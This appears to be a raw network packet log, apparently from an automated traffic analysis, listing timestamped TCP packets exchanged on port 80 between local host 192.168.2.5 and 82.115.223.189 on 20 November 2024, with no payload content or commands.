Nov 20, 2024 07:48:02.969222069 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:02.969244957 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.016530037 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.017745018 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.017821074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.017874956 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.017896891 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.017909050 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.017962933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.017968893 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.017996073 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018043995 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018049002 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018083096 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018131018 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018134117 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018167973 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018209934 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018218040 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018253088 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018285990 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018299103 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018318892 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018352985 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018373966 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018384933 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018419981 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018434048 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018454075 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018487930 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018503904 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018522024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018567085 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018570900 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018623114 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018656015 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018667936 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018691063 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018723965 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018734932 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018759012 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018791914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018804073 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018826008 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018858910 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018868923 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018893957 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018928051 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018935919 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.018959999 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.018994093 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019021034 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019052982 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019102097 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019108057 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019140005 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019174099 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019182920 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019206047 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019253969 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019260883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019294024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019354105 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019376993 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019409895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019443035 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019454956 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019476891 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019526958 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019531012 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019562960 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019608021 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019614935 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019674063 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019706964 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019732952 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019757986 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019790888 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019804001 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019825935 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019857883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019866943 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019892931 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019926071 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019939899 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.019958973 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.019992113 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020004988 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020025969 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020061016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020070076 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020093918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020127058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020138025 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020160913 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020194054 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020200968 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020226955 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020258904 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020270109 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020296097 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020327091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020338058 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020360947 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020392895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020405054 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020426989 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020458937 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020481110 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020492077 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020518064 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020524025 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020534039 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020560980 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020592928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020607948 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020627022 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020661116 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020683050 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020694971 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020725012 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020745993 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020760059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020796061 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020814896 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020829916 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020864010 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020876884 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020896912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020931959 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020941019 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.020966053 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.020998955 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021023035 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021032095 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021064997 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021095991 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021097898 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021131039 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021141052 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021158934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021190882 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021203995 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021224976 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021256924 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021274090 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021290064 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021322966 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021339893 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021357059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021390915 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021404982 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021425009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021460056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021471024 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021492958 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021529913 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021559000 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.021564007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021596909 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.021630049 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.022264004 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.059854984 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.059906960 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.059943914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.059957027 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.059978962 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.060003996 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.060014009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.060048103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.060062885 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.060082912 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.060118914 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.060127974 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.108580112 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108647108 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.108656883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108731031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108776093 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.108783007 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108820915 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108854055 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108865976 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.108889103 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108926058 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108938932 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.108962059 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.108994961 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109025955 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109028101 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109075069 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109081030 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109126091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109175920 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109179020 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109213114 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109246969 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109257936 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109281063 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109364986 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109380960 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109400034 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109433889 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109451056 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109467983 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109500885 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109514952 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109605074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109662056 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109662056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109715939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109750032 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109764099 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109783888 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109817982 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109824896 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109853983 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109886885 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109896898 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109920979 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109955072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.109967947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.109991074 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110048056 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110048056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110105038 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110178947 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110202074 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110213041 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110259056 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110265017 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110297918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110330105 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110341072 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110366106 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110399961 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110413074 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110435009 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110482931 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110486031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110521078 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110554934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110567093 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110589027 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110625029 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110658884 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110661030 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110692024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110704899 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110727072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110759974 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110769987 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110793114 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110826015 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110852003 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110860109 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110892057 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110902071 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110925913 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110958099 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.110972881 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.110991001 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111025095 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111040115 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111058950 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111090899 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111109972 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111124992 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111156940 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111170053 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111193895 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111227989 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111242056 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111262083 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111294031 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111304998 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111362934 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111394882 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111407995 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111430883 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111463070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111470938 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111496925 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111535072 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111543894 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111568928 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111601114 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111613035 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111634016 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111666918 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111680031 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111701012 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111733913 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111745119 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111768961 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111804962 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111815929 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111839056 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111871004 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111886978 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111906052 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111938000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.111943960 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.111970901 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112003088 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112011909 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112036943 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112068892 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112081051 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112103939 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112137079 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112148046 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112159014 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112174034 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112190008 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112200975 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112206936 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112224102 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112230062 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112238884 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112256050 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112262964 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112271070 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112286091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112293005 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112301111 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112317085 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.112325907 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.112355947 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.131402016 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.150439024 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.150517941 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.150557995 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.150578976 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.150592089 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.150629997 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.150646925 CET	49704	80	192.168.2.5	82.115.223.189
Nov 20, 2024 07:48:03.150664091 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.150702000 CET	80	49704	82.115.223.189	192.168.2.5
Nov 20, 2024 07:48:03.150711060 CET	49704	80	192.168.2.5	82.115.223.189
